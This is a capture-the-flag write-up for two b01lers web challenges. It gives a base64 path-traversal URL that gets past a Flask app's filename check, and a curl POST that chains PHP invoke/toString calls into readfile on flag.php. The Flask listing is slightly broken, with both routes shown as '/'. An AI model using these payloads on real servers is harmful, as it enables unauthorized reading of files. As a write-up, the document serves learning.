https://ctf.b01lers.com/challenges?category=web
warmup
My first flask app, I hope you like it http://ctf.b01lers.com:5115 Author: CygnusX
from base64 import b64decode
import flask
app = flask.Flask(__name__)
@app.route('/')
def index2(name):
name = b64decode(name)
if (validate(name)):
return "This file is blocked!"
try:
file = open(name, 'r').read()
except:
return "File Not Found"
return file
@app.route('/')
def index():
return flask.redirect('/aW5kZXguaHRtbA==')
def validate(data):
if data == b'flag.txt':
return True
return False
if __name__ == '__main__':
app.run()
payload: http://ctf.b01lers.com:5115/Li9mbGFnLnR4dA==
bctf{h4d_fun_w1th_my_l4st_m1nut3_w4rmuP????!}
php.galf
found one of my old projects, but I can’t seem to figure out how it works… tried to update it but that might have backfired :( note: this is using php 7.4 http://ctf.b01lers.com:5120 Author: CygnusX
结合 flag.php 的存在,应该是需要我们读出源码,可以用 readfile
功能上是一个 parser,对输入进行运算,简单审一下 会发现 sink 点应该在这里
然后就要看怎么触发这个__toString
了。—— 但是吧,这个题只适合倒着从 payload 讲链子 >_<
readfile('flag.php');
noitpecxe-> __toString
noitpecxe-> __consturct
syntaxreader-> __construct
orez_vid-> __invoke
orez_vid-> __construct
orez_dda-> __invoke
orez_dda-> __construct
巧妙之处在于这个 parser 对于操作数和参数的处理近似于 “递归”
每读到一个 ohce 都会 new ohce()
实例并调用它的 invoke,并在其中继续向后找一位参数,如果是 orez_lum
或 orez_dda
中的一个就继续 new xxx()
并调用 invoke,而这个 orez_dda 的 invoke 也是类似的操作
我们下一个调用的类用 orez_vid,让它的下一个参数是 syntaxreader
这样传入 syntaxreader 就会触发 noitpecxe
给 noitpecxe 传进去的 args 有 7 个,但是 construct 只要 4 个,用这个缺口 我们把第 1 个和第 4 个参数分别设成 flag.php 和 readfile,就自然会变成这里的 message 和 error_func
之后就没什么可说的了,顺利调用 readfile,getflag~
payload:
curl 'http://ctf.b01lers.com:5120/index.php' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: DEBUG[]=0' --data-raw 'code=ohce+ohce+ohce+ohce+ohce&args=flag.php%2C+bbbbb%2C+ccccc%2C+readfile%2C+orez_dda%2C+orez_vid%2C+syntaxreader'
* 另:虽然我上面说的好像这个过程很简单,但我调了半天才理清楚…… 我 tcl……
* 另另:究极冷笑话之:ohce-> echo, noitpecxe-> exception, php.galf-> flag.php, orez_vid-> div_zero, orez_dda-> add_zero…… 太冷了 我已经到南极了